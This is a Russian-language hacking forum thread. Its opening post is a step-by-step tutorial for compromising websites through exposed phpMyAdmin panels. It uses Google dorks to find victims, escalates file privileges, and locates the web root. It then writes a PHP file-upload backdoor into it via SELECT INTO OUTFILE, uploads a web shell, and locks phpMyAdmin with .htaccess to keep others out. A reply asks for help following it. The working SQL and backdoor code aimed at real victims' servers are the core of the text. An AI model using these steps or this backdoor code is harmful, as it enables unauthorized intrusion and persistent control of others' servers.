1. По причине блокировки роскомнадзором раз в несколько месяцев мы меняем доменное имя. Чтоб не потерять новую ссылку просто зарегистрируйтесь и вы получите сообщение о замене на свою почту!
    Скрыть объявление
Скрыть объявление
По причине блокировки роскомнадзором раз в несколько месяцев мы меняем доменное имя. Чтоб не потерять новую ссылку просто зарегистрируйтесь и вы получите сообщение о замене на свою почту!
Скрыть объявление
Проводите сделки через Гарант-сервис чтоб полностью обезопасить свои покупки.

Заливаем шелл через phpmyadmin

Тема в разделе "Спам, ботнеты, кодинг, загрузки", создана пользователем .exe_cutoR, 19 ноя 2012.

  1. .exe_cutoR

    .exe_cutoR

    Сообщения:
    10
    Симпатии:
    0
    Баллы:
    1
    1. Поиск

    Вопрос: Как найти phpmyadmin с плавающим токеном?
    Ответ : поисковым запросом

    Code:
    inurl:phpmyadmin token
    в www.google.ru.

    2. Проверка

    Вопрос: Как узнать, что через найденный phpmyadmin мы можем заливать шелл или бэкдор?
    Ответ : Первое, на что нужно обратить внимание, это наличие привилегий для выполнения sql-запросов.
    А именно, если на главной странице phpmyadmin-a присутствует надпись "No privileges", то тут ничего не зальешь.
    Второе, нужно проверить наличие прав на выполнение операции "into outfile". Проверяется следующим образом, выполняем запрос:

    Code:
    select user();
    Этот запрос нам вернет пользователя, под которым мы сидим в phpmyadmin-е.
    Нам нужен "root@localhost". Затем проверим права на выполнение команды "записи в файл".
    Выполним запрос к базе данных mysql, где выберем из таблицы user запись со значением root,
    и выведем поля user, host и file_priv на экран:

    Code:
    select user,host,file_priv from mysql.user where user="root";
    Если в столбце file_priv вывело "Y", то идем дальше. Если - "N", то выполняем запрос вида:

    Code:
    update mysql.user set file_priv="Y" where user="root"; select user,host,file_priv from mysql.user where user="root";
    Операцией update мы изменяем значение поля file_priv в записи пользователя root, т.е.
    разрешаем самим себе выполнять операцию "into outfile".

    3. Поиск доступного физического пути для залива шелла, бэкдора.

    Вопрос: Какие есть способы наити физический путь к серверу жертвы?
    Ответы: a) Выполним запрос

    Code:
    select @@basedir
    Из которого мы можем узнать путь. Но не всегда. Результатом выполнения данного запроса окажется путь, где располагается МуSQL-база на компьютере жертвы.
    Например:

    Code:
    W:\Program Files\MySQL\, E:\Program Files\MySQL\MySQL Server 5.0\, c:\xampp\mysql\
    для виндовс систем.
    Из первого примера мы можем предположить, что файлы phpmyadmin располагаются в W:\Program Files\phpmyadmin\.
    Из второго E:\Program Files\phpmyadmin\.
    Третий пример особенный, т.к. из него мы имеем 3 пути для записи:

    Code:
    c:\xampp\htdocs\, c:\xampp\htdocs\xampp\, c:\xampp\phpmyadmin\
    б) Также можно использовать утилиту для поиска phpinfo или log-файлов, отчетов об ошибках - ArxScanSite2, либо если сайт еще несоздан и он находися в xampp, то набрать в браузере “www.site.com” или "www.site.com/xampp". На этой странице Вым нужно найти ссылку на "phpinfo" и перейти на старницу. Там будет много информации и пути к установленным сервисам.

    в) Бывает, что все вышеизложенное не проходит. То используем гугл. Пишем в строке поиска следующее:

    Code:
    inurl:site.com intext:error
    Т.к. гугл имеет свойство запоминать такую информацию.

    г) Постараемся вызовать ошибку в работе движка с помощью утилиты Acunetix WVS 6. Скачать можно через торрент.
    Поставить на сканирование уязвимостей интернет ресурс. И после завершения анализа или еще во время его может появиться предупреждение, что найден путь к серверу.

    4. Разберем следующие запросы:

    Code:
    use mysql;
    create table mytable (myvar text not null) type = myisam;
    insert into mytable (myvar) values ('<?php if (isset($_REQUEST["upload"])) { $file=$HTTP_POST_FILES["file"]["name"]; $path=realpath(".") @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $path . "/" . $file) or die(); echo "shell uploaded"; } else { echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>file uploader</b><input name=file type=file><br><input type=submit name=upload value=upload></form>"; } ?>');
    select myvar from mytable into outfile '../../../../usr/local/apache/htdocs/systemfile.php'
    1.

    Code:
    use mysql;
    - использовать базу mysql.
    2.

    Code:
    create table mytable (myvar text not null) type = myisam;
    - создать таблицу с именем "mytable" типа myisam с единственным текстовым полем myvar.
    3.

    Code:
    insert into mytable (myvar) values ('<?php if (isset($_REQUEST["upload"])) { $file=$HTTP_POST_FILES["file"]["name"]; $path=realpath("."); @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $path . "/" . $file) or die(); echo "shell uploaded"; } else { echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>file uploader</b><input name=file type=file><br><input type=submit name=upload value=upload></form>"; } ?>');
    - создадим засись с php-кодом бэкдора.
    4.

    Code:
    select myvar from mytable into outfile '../../../../usr/local/apache/htdocs/systemfile.php'
    - выберем php-код и зальем в файл.
    Т.е. по физ. адресу

    Code:
    ../../../../usr/local/apache/htdocs/
    создастся файл systemfile.php, к которому из строки браузера мы будем обращаться.

    5. Заливаем бэкдор.
    Здесь следует выполнять цепоку запросов несколько раз, если наш файл из браузера не будет доступен. Только в между

    Code:
    use mysql;
    create table mytable (myvar text not null) type = myisam;
    необходимо будет добавить

    Code:
    drop table mytable
    Что будет означать - удаление таблицы с информацией в ней. Например, если у нас путь к физ. серверу был: c:\xampp\mysql\, то в последнем запросе изменяем физ. путь на c:\xampp\htdocs\systemfile.php, c:\xampp\htdocs\xampp\systemfile.php и c:\xampp\phpmyadmin\systemfile.php.
    Разумеется, что по очереди меняем, сначала пробуем выполнить цепочку запросов и вставляем один путь. Выполняем запросы. Если ошибки в выполнении запроса нет,то для физ.пути c:\xampp\htdocs\ будет соответствовать путь через браузер - www.site.com/systemfile.php, для c:\xampp\htdocs\xampp\systemfile.php -www.site.com/xampp/systemfile.php, для c:\xampp\phpmyadmin\ - www.site.com/phpmyadmin/systemfile.php

    6. Заливаем шелл.
    Например, если у нас бэкдор располагается по адресу www.site.com/systemfile.php, то нажимаем на кнопку "Browse".
    Указываем путь к нашему шеллу на нашем компьютере. Нажимаем на кнопку "upload". Ждем. Если появилась надпись "shell uploaded",
    то набираем в браузере путь тот же, что и бэкдора только меняем название файла на название шелла,
    например, www.site.com/shell.php.

    7. Закрываем доступ к phpmyadmin из интернета.
    В шелле переходим в папку phpmyadmin. пишем в строке makefile:

    Code:
    .htaccess
    Затем отрываем этот файл через шелл для редактирования.
    И пишем в нем следующее:

    Code:
    Order Allow,Deny
    Сохраняем изменения в файле. Готово. Только учтите, что если ваш шелл залит в папку phpmyadmin, то перед тем как запрещать доступ к этой папке, нужно найти другую папку и залить туда копию шелла. Иначе после создания .htaccess phpmyadmin и ваш шелл будет не доступен.

    http://www.sendspace.com/file/akak2g - Видео сжато rar. Формат: flv. Размер: 34мб. Длитеотность: 9мин.

    sergaj
  2. alerod

    alerod

    Сообщения:
    2
    Симпатии:
    0
    Баллы:
    1
    Перезалейте видео если не трудно.
    По статье,очень познавательно,какраз бьюсь над этим,хотелось бы на живом примере из видео посмотреть ещё.
    Теперь по пунктам из статьи,что не понятно:

    1

    W:program FilesMySQL
    E:program FilesMySQLMySQL Server 5.0
    Из первого примера мы можем предположить, что файлы phpmyadmin располагаются в W:program Filesphpmyadmin.
    Из второго E:program Filesphpmyadmin

    Опечатка или получается одинаковый путь?(имеется ввиду MySQL и MySQLMySQL Server 5.0 получается одинаковый путь дают или как?)

    2

    ../../../../usr/local/apache/htdocs/systemfile.php

    Откуда берётся этот путь?

    P.S.: У себя в PhP MyAdmin сделал запрос select @@basedir,получил E:program FilesMySQLMySQL Server 5.0 ,что дальше? Из статьи не разобрал.

Поделиться этой страницей